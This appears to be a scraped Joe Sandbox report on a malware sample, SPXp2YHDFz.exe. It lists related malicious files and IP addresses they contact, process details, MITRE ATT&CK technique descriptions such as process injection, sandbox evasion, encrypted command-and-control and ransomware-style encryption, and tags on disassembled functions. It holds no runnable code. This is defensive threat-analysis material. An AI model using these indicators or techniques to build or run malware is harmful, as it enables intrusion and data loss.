	Invoice_4102_october_PDF.img	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	Invoice_6341_october_PDF.img	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	CWCfD02PFw.exe	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	CB5673829281E1EFCFBCF947483F040EAEB640316ED93.exe	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	09dCW6CAG6.exe	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	vf7vtEsWBg.exe	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	EeJnSnmVsg.exe	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	notice-130722.23554.img	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	document-130722.10498.img	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	dropper_cs.exe	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	Invoice_09-19_unpaid_50_document.iso	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	1F572BDC073599EC7FB037CDB5017A0831FC7B130B80A.exe	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	5B649C7D861FEAC190194118362AACA996BC2FAE5FF6F.exe	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	Invoice_6-27-273.iso	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178
	SecuriteInfo.com.W32.AIDetectNet.01.23258.exe	Get hash	malicious	Browse	46.38.232.203 135.148.53.55 62.210.85.178

Target ID:	0
Start time:	11:08:39
Start date:	24/10/2022
Path:	C:\Users\user\Desktop\SPXp2YHDFz.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\SPXp2YHDFz.exe
Imagebase:	0x7ff61d780000
File size:	119306 bytes
MD5 hash:	93CFE55BF738E084CD73BC7BF27AAAA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	6
Start time:	11:08:52
Start date:	24/10/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Target ID:	9
Start time:	11:09:01
Start date:	24/10/2022
Path:	C:\Users\user\Desktop\SPXp2YHDFz.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SPXp2YHDFz.exe"
Imagebase:	0x7ff61d780000
File size:	119306 bytes
MD5 hash:	93CFE55BF738E084CD73BC7BF27AAAA8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SPXp2YHDFz.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Boot Survival

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\Desktop\cached-consensus

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: SPXp2YHDFz.exePID: 3460, Parent PID: 3452

General

Chronological Activities

Windows Analysis Report
SPXp2YHDFz.exe

Function 00007FF61D78272C Relevance: 45.6, APIs: 13, Strings: 13, Instructions: 80
libraryCOMMON

Function 00007FF61D7864C0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 133
encryptionCOMMON

Function 00007FF61D788EE0 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 170
encryptionCOMMON

Function 00007FF61D788738 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 157
encryptionCOMMON

Function 00007FF61D781024 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 24
encryptionlibraryCOMMON

Function 00007FF61D78E7D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100
encryptionCOMMON

Function 00007FF61D78A54C Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 207
COMMONCrypto

Function 00007FF61D784314 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31
networkCOMMON

Function 00007FF61D78BCD8 Relevance: 3.1, APIs: 2, Instructions: 53
encryptionCOMMON

Function 00007FF61D78C444 Relevance: 1.6, APIs: 1, Instructions: 57
encryptionCOMMON

Function 00007FF61D789354 Relevance: 33.6, APIs: 4, Strings: 15, Instructions: 385
COMMON

Function 00007FF61D781160 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 154
COMMON

Function 00007FF61D78CD08 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 346
COMMON

Function 00007FF61D78EC44 Relevance: 19.8, APIs: 2, Strings: 11, Instructions: 309
COMMON

Function 00007FF61D7841AC Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 86
networkCOMMON

Function 00007FF61D7866C4 Relevance: 16.7, APIs: 2, Strings: 9, Instructions: 245
COMMON

Function 00007FF61D78E948 Relevance: 16.0, APIs: 2, Strings: 7, Instructions: 201
COMMON

Function 00007FF61D7813B4 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 164
registryCOMMON

Function 00007FF61D78FBD0 Relevance: 15.2, APIs: 3, Strings: 7, Instructions: 201
COMMON

Function 00007FF61D78A8C8 Relevance: 13.7, APIs: 4, Strings: 5, Instructions: 211
COMMON

Function 00007FF61D78A20C Relevance: 13.6, APIs: 5, Strings: 4, Instructions: 146
COMMON

Function 00007FF61D785284 Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 173
COMMON

Function 00007FF61D783BB4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 125
COMMON

Function 00007FF61D7881A4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 153
COMMON

Function 00007FF61D785C58 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 117
COMMON

Function 00007FF61D78ABEC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 176
COMMON

Function 00007FF61D78DC14 Relevance: 6.5, APIs: 5, Instructions: 268
COMMON

Function 00007FF61D786248 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
COMMON